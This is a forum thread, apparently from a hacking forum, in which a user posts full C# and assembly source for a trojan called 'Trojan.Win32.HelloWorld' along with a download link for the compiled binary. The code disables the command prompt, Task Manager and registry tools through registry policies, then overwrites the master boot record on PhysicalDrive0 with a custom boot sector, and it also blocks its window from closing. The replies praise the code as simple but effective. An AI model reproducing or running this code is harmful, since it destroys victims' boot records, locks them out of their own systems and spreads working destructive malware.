

Forum:[Hack Forums](#)

Thread: [Trojan.Win32.HelloWorld - Source Code](#)

N16H7M4R3 - November 4, 2019, 6:47 am

Here is the source code of my malware. Have fun!

Malware download link: kavastprogramming.wz.cz/Malware/helloworld.exe.

Code // --- Trojan.Win32.HelloWorld ---
// - N16H7M4R3

```
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Microsoft.Win32;
```

```
namespace Trojan.Win32.HelloWorld
{
    public partial class HelloWorld : Form
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint
dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes,
IntPtr hTempFile);

        [DllImport("kernel32.dll")]
        private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);

        byte[] helloWorldBoot = null;
        IntPtr masterBootRecord = IntPtr.Zero;
        RegistryKey registryKey = null;
        private const uint GENERIC_ALL = 0x10000000;
        private const uint FILE_SHARE_READ = 0x1;
        private const uint FILE_SHARE_WRITE = 0x2;
        private const uint OPEN_EXISTING = 0x3;

        public HelloWorld()
        {
            InitializeComponent();

            try
            {
                Registry_Set();

                try
                {
                    BootFile_Set(Boot.helloworld);
```

```

    try
    {
        MasterBootRecord_CreateFile();

        try
        {
            MasterBootRecord_WriteFile(masterBootRecord, helloWorldBoot, 512);

            Opacity = 100;
        }
        catch
        {
            Environment.Exit(0);
        }
    }
    catch
    {
        Environment.Exit(0);
    }
}
catch
{
    Environment.Exit(0);
}
}
catch
{
    Environment.Exit(0);
}
}

private void Registry_Set()
{
    registryKey =
Registry.CurrentUser.CreateSubKey("Software\\Policies\\Microsoft\\Windows\\System");
    registryKey.SetValue("DisableCMD", 1);
    registryKey =
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
    registryKey.SetValue("DisableTaskMgr", 1);
    registryKey =
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
    registryKey.SetValue("DisableRegistryTools", 1);
}

private void BootFile_Set(byte[] bootFile)
{
    helloWorldBoot = bootFile;
}

private void MasterBootRecord_CreateFile()
{

```

```

        masterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
    }

    private void MasterBootRecord_WriteFile(IntPtr masterBootRecord, byte[] bootFile, uint
bootFileSize)
    {
        WriteFile(masterBootRecord, bootFile, bootFileSize, out uint lpNumberOfBytesWritten,
IntPtr.Zero);
    }

    private void HelloWorld_FormClosing(object sender, FormClosingEventArgs e)
    {
        e.Cancel = true;
    }
}
}

```

And this is the source of the binary file.

```

Code ; --- Trojan.Win32.HelloWorld ---
; - N16H7M4R3

```

```

; Boot
BITS 16
org 0x7c00

```

```

; Jump to start
jmp start

```

```

; Start
start:
mov ax, cs
mov ds, ax
mov si, msg

```

```

; Print string
call printString

```

```

; Print string
printString:
push ax
cld

```

```

; Load next char
nextChar:
mov al, [si]
cmp al, 0
je done
call printChar
inc si
jmp nextChar

```

```

; Done

```

done:
jmp \$

; Print char
printChar:
mov ah, 0x0e
int 0x10
ret

; Message
msg: db "Hello, World!", 13, 10, "N16H7M4R3", 13, 10, 0

; End of file
times 510 - (\$-\$) db 0
dw 0xaa55

the.alpha.beta.gamma - November 4, 2019, 9:27 am

What does this do? I don't understand what it is doing! Can you please tell me about this!

N16H7M4R3 - November 4, 2019, 11:43 am

(Nov 4, 2019 10:27 AM)the.alpha.beta.gamma Wrote: [\[CITE\]](#) What does this do? I don't understand what it is doing! Can you please tell me about this!

Description is in my previous post. Otherwise, it is a virus that attacks the MBR.

Blu-A - November 4, 2019, 10:30 pm

How do I contain the trojan file?

the.alpha.beta.gamma - November 6, 2019, 4:10 am

(Nov 4, 2019 12:43 PM)N16H7M4R3 Wrote: [\[CITE\]](#) Description is in my previous post. Otherwise, it is a virus that attacks the MBR.

Thanks, I will check it out

N16H7M4R3 - November 6, 2019, 7:33 am

(Nov 4, 2019 11:30 PM)Blu-A Wrote: [\[CITE\]](#) How do I contain the trojan file?

Sorry... I don't understand you.

(Nov 6, 2019 05:10 AM)the.alpha.beta.gamma Wrote: [\[CITE\]](#) Thanks, I will check it out
Ok!

roielevi12 - November 6, 2019, 8:58 am

This virus is very easy to create.

TheAnon.hf - November 10, 2019, 3:36 am

MBR overwrite Cheeeky lad LOL, code is basic but effective, nice work on the MBR code(seems copied from youtube but idk it might be your own sweat)despite this fact, it is a nice idea to elaborate a simple but functional virus like this! +1

SIM-2294117 - November 11, 2019, 9:12 pm

As TheAnon.hf said, simple but effective. Nice work! R.i.p to the MBR though

Shelljacks - November 13, 2019, 5:26 am

Simple code to help learning. Thanks

N16H7M4R3 - November 16, 2019, 11:32 pm

(Nov 6, 2019 09:58 AM)roielevi12 Wrote: [\[CITE\]](#) This virus is very easy to create.
Yes, it is. So it is for fun...

(Nov 10, 2019 04:36 AM)TheAnon.hf Wrote: [\[CITE\]](#) MBR overwrite Cheecky lad LOL, code is basic but effective, nice work on the MBR code(seems copide from youtube but idk it might be your own sweat)despite this fact, it is a nice idea to elaborate a simple but functional virus like this! +1
Yes, this is very simple, but effective.
I do it for fun, because i love it.

(Nov 11, 2019 10:12 PM)alexmicheal49 Wrote: [\[CITE\]](#) As TheAnon.hf said, simple but effective.
Nice work! R.i.p to the MBR though
Yes. Thanks!

(Nov 13, 2019 06:26 AM)Shelljacks Wrote: [\[CITE\]](#) Simple code to help learning. Thanks
Yes, it is simple.

tysonnuggets666 - November 17, 2019, 1:08 am

(Nov 6, 2019 09:58 AM)roielevi12 Wrote: [\[CITE\]](#) This virus is very easy to create.
Thx for being so encouraging....